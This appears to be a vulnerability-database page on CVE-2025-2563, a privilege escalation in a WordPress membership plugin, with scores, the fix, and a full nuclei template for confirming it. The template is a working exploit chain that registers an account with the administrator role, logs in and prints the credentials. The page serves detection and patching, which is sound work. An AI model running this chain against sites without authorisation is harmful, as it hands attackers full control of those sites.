HexBrain

Browse / CVEs / CVE-2025-2563

CVE-2025-2563· CWE-269

User Registration & Membership <= 4.1.1 - Unauthenticated Privilege Escalation

criticalseverity
9.8CVSS score
49.1%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

The User Registration & Membership plugin for WordPress is vulnerable to privilege escalation in versions up to, and including, 4.1.1. This is due to insufficient restrictions on role type in the 'prepare_members_data()' function. This makes it possible for unauthenticated attackers to create newuser accounts with the 'administrator' role, allowing complete control over the affected WordPress site.

Impact

Unauthenticated attackers can create new user accounts with administrator privileges through insufficient role restrictions, gaining complete control over the WordPress site.

Fix

Update to User Registration & Membership plugin version 4.1.2 or later.

How to confirm it

Send: GET /membership-registration/
Send: POST /wp-admin/admin-ajax.php
Positive when: contains "success_message_positon" and "{{username}}" and "\"success\":true"
Send: POST /wp-admin/admin-ajax.php
Positive when: contains "New member has been successfully created." and "member_id" and "\"success\":true"
Send: GET /login/
Send: POST /login/ ; GET /wp-admin/users.php?role=administrator
Positive when: contains "Howdy," and ">Select {{username}}<"

Run it with nuclei: nuclei -id CVE-2025-2563 -u <target>

The full check
id: CVE-2025-2563

info:
  name: User Registration & Membership <= 4.1.1 - Unauthenticated Privilege Escalation
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    The User Registration & Membership plugin for WordPress is vulnerable to privilege escalation in versions up to, and including, 4.1.1. This is due to insufficient restrictions on role type in the 'prepare_members_data()' function. This makes it possible for unauthenticated attackers to create newuser accounts with the 'administrator' role, allowing complete control over the affected WordPress site.
  impact: |
    Unauthenticated attackers can create new user accounts with administrator privileges through insufficient role restrictions, gaining complete control over the WordPress site.
  remediation: |
    Update to User Registration & Membership plugin version 4.1.2 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/user-registration/user-registration-membership-411-unauthenticated-privilege-escalation
    - https://patchstack.com/database/wordpress/plugin/user-registration/vulnerability/wordpress-user-registration-membership-plugin-4-1-2-unauthenticated-privilege-escalation-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2563
  classification:
    epss-score: 0.49084
    epss-percentile: 0.98894
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-269
    cve-id: CVE-2025-2563
  metadata:
    verified: true
    max-request: 6
    fofa-query: body="/wp-content/plugins/user-registration"
  tags: cve,cve2025,wp,wordpress,wp-plugin,user-registration,privilege-escalation,vuln,vkev

variables:
  username: "{{randbase(8)}}"
  email: "{{username}}@oast.fun"
  password: "{{randstr}}"

flow: http(1) && http(2) && http(3) && http(4) && http(5)

http:
  - raw:
      - |
        GET /membership-registration/ HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        name: nonce
        group: 1
        regex:
          - '"user_registration_form_data_save":"(.*?)"'
        internal: true

      - type: regex
        part: body
        name: formid
        group: 1
        regex:
          - "id='user-registration-form-([0-9]+)'>"
        internal: true

      - type: regex
        part: body
        name: memberfieldval
        group: 1
        regex:
          - 'id="ur-membership-select-membership-([0-9]+)+'
        internal: true

      - type: regex
        part: body
        name: memberfieldname
        group: 1
        regex:
          - 'data-field-id="membership_field_([0-9]+)"'
        internal: true

      - type: regex
        part: body
        name: frontend_nonce
        group: 1
        regex:
          - 'name="ur_frontend_form_nonce" value="(.*?)"'
        internal: true

      - type: regex
        part: body
        name: localized_frontend_nonce
        group: 1
        regex:
          - 'ur_membership_frontend_localized_data = {"_nonce":"(.*?)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        action=user_registration_user_form_submit&security={{nonce}}&form_data=%5B%7B%22field_name%22%3A%22user_login%22%2C%22value%22%3A%22{{username}}%22%2C%22field_type%22%3A%22text%22%2C%22label%22%3A%22Username%22%7D%2C%7B%22field_name%22%3A%22user_email%22%2C%22value%22%3A%22{{email}}%22%2C%22field_type%22%3A%22email%22%2C%22label%22%3A%22User+Email%22%7D%2C%7B%22field_name%22%3A%22user_pass%22%2C%22value%22%3A%22{{password}}%22%2C%22field_type%22%3A%22password%22%2C%22label%22%3A%22User+Password%22%7D%2C%7B%22field_name%22%3A%22user_confirm_password%22%2C%22value%22%3A%22{{password}}%22%2C%22field_type%22%3A%22password%22%2C%22label%22%3A%22Confirm+Password%22%7D%2C%7B%22value%22%3A%22{{memberfieldval}}%22%2C%22field_type%22%3A%22radio%22%2C%22label%22%3A%22membership%22%2C%22field_name%22%3A%22membership_field_{{memberfieldname}}%22%7D%5D&form_id={{formid}}&registration_language=en-US&ur_frontend_form_nonce={{frontend_nonce}}&is_membership_active={{memberfieldval}}&membership_type={{memberfieldval}}

    matchers:
      - type: word
        part: body
        words:
          - 'success_message_positon'
          - '{{username}}'
          - '"success":true'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=user_registration_membership_register_member&security={{localized_frontend_nonce}}&members_data={"membership":"1","payment_method":"free","start_date":"2025-3-29","username":"{{username}}","role":"administrator"}

    matchers:
      - type: word
        part: body
        words:
          - 'New member has been successfully created.'
          - 'member_id'
          - '"success":true'
        condition: and
        internal: true

  - raw:
      - |
        GET /login/  HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        name: login_nonce
        group: 1
        regex:
          - 'user-registration-login-nonce" value="(.*?)"'
        internal: true

  - raw:
      - |
        POST /login/  HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&login=Login&user-registration-login-nonce={{login_nonce}}

      - |
        GET /wp-admin/users.php?role=administrator HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - 'Howdy,'
          - '>Select {{username}}<'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - '"Username: " + username + " Password: " + password'

References

Use this check only on systems you are authorised to test. Where the data comes from